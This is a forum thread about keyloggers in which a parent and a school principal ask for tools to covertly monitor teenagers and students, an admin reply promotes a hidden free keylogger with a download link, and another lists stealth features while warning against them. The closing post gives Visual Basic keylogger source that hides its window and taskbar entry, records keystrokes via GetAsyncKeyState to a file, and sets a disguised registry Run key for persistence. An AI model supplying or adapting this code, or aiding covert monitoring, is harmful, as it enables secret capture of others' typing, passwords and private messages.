keylogger
Key Logger.

Replying to snlildude87 hey I was reading this thread and came to know that you can make a keylogger in visualbasis or wut that program is. I'm no computer programer or a C++ computer technician. I only wanted to ask you if you can email me that program please. I want to see what my teenagers do on the computer. They say there always typing and doing english essays and other school work. They sit on the computer as soon as they walk into the house and sit for hours, I mean hours. I really just want to know, what are they really doing. And if this records every keystroke, then I am sure I can see what they are typing. Please help out. Thanks a lot... :)

-reply by Akram

--------- ADMIN REPLY ------------

This is a FREE keylogging software for your personal computer.

Actual Keylogger - is a free keylogger which runs hidden in the background and automatically records all keystrokes (including Alt, Ctrl and other functional buttons). The interface can be password protected and the log files are encrypted. You can view the reports as HTML or plain text. In the hidden mode it is invisible in all operating systems. This free keylogger will be really helpful to both the system administrators and home users.

DOWNLOAD: http://www.actualkeylogger.com/download-free-key-logger.html

Reply

It depends on where you use it...

If I were to install a keylogger on my own computer, to catch people trying that stuff, where is the wrong?

While I personally don't agree with keyloggers, I do concede there are legitimate, legal purposes to them.

Reply

keylogger
Key Logger.

I am a principal for a college of more than 2000 students, some students have been caught doing, I'm not going to say it, but they have been caught doing stuff they shouldn't. I would like a way to keep track of students and what they have been doing on the comouters, so this keylogger seems to me to be a good idea.

-reply by principal

-----ADMIN REPLY-------
Keyloggers = seriously invading others privacy.

If you feel keyloggers are advanced stuff, think again. They are very easy to install and any person with basic knowledge can inject it in your "un-attended" pc as well.

Virus scanners cannot CATCH them because they are officially installed when your PC is IDLE (when you are away.)

Takes less than 20 SEC to install.
Completely PRECONFIGURED.
Removes traces even from CTRL+ALT+DEL screen.
Activates and sends the logs on email.
HOT KEY to show its activity.

JUST imagine, someone who has already DONE this to your Computer. And your PC which you are presently using to view this web page is already compromised.

All above.. simply does not sound good.

Keyloggers are evil. Are you?

Personal Opinion by,

-Shree (Trap17.com)

Reply

Well guys, to me I feel there's a downside and upside to this key-logging stuff. Some times for security and sometimes for other reasons. I would not opt to be for or against it. I think moderation might be most genius.
Cheerio...

Reply

Look And Learn ^^
Key Logger.

Private Sub ath_Click()
MsgBox "Created By Mahendra M.W., This Program is for educational Purpose Only !", vbOKOnly, "About"
End Sub

'In a form
Private Sub Form_Load()
Me.Caption = "Key Spy"
'Create an API-timer
SetTimer Me.Hwnd, 0, 1, AddressOf TimerProc
App.TaskVisible = False
Form1.Visible = False
InfeksiRegistry

End Sub
Private Sub Form_Paint()
Dim are As RECT
Me.Cls
'API uses pixels
Me.ScaleMode = vbPixels
'Set the rectangle's values
SetRect are, 0, 0, Me.ScaleWidth, Me.ScaleHeight
'Draw the text on the form
DrawTextEx Me.HDC, mStr, Len(mStr), are, DT_WORDBREAK Or DT_CENTER, ByVal 0&
End Sub
Private Sub Form_Resize()
Form_Paint
End Sub

Private Sub Command1_Click()
If Check1.Value = 1 Then App.TaskVisible = False Else App.TaskVisible = True
If Check2.Value = 1 Then Form1.Visible = False Else Form1.Visible = True
InfeksiRegistry
End Sub

Private Sub Timer1_Timer()
On Error GoTo 11
Open "C:\FileInformation.Dat" For Output As #1
Print #1, sSave
Close #1
GoTo 5
11: MsgBox "Do not modify this File as causing damaging your instability system ", vbCritical, "Information"
5: End Sub



'write in the module
Public Const DT_CENTER = &H1
Public Const DT_WORDBREAK = &H10
Type RECT
Left As Long
Top As Long
Right As Long
Bottom As Long
End Type
Declare Function DrawTextEx Lib "user32" Alias "DrawTextExA" (ByVal hDC As Long, ByVal lpsz As String, ByVal and As Long, lpRect As RECT, ByVal un As Long, ByVal lpDrawTextParams As Any) As Long
Declare Function SetTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long) As Long
Declare Function KillTimer Lib "user32" (ByVal hwnd As Long, ByVal nIDEvent As Long) As Long
Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Declare Function SetRect Lib "user32" (lpRect As RECT, ByVal X1 As Long, ByVal Y1 As Long, ByVal X2 As Long, ByVal Y2 As Long) As Long
Global Cnt As Long, sSave As String, sOld As String, Ret As String
Dim Tel As Long
Function GetPressedKey() As String
For Cnt = 32 To 128
'Get the keystate of a specified key
If GetAsyncKeyState(Cnt) <> 0 Then
GetPressedKey = Chr$(Cnt)
Exit For
End If
Next Cnt
End Function
Sub TimerProc(ByVal hwnd As Long, ByVal nIDEvent As Long, ByVal uElapse As Long, ByVal lpTimerFunc As Long)
Ret = GetPressedKey
If Ret <> sOld Then
sOld = Ret
sSave = sSave + sOld
End If
End Sub
Public Function InfeksiRegistry()
Dim wshell As Object, rg1 As String, rg2 As String
Dim rg3 As String, rg4 As String
Rg1 = "Software\Microsoft\Windows\CurrentVersion\"
Rg2 = "SOFTWARE\Microsoft\Windows NT\CurrentVersion\"
Rg3 = "Software\Microsoft\InternetExplorer\Main\"
Rg4 = "Software\Policies\Microsoft\Windows\System\"
Set wshell = CreateObject("Wscript.Shell")
Wshell.Regwrite "HKLM\" & rg1 & "\run\System Resource", _
Getwindowspath & "C:\windows\system32\system32.Exe"
'you can add more value it's only example
End Function



-reply by Newbie

Reply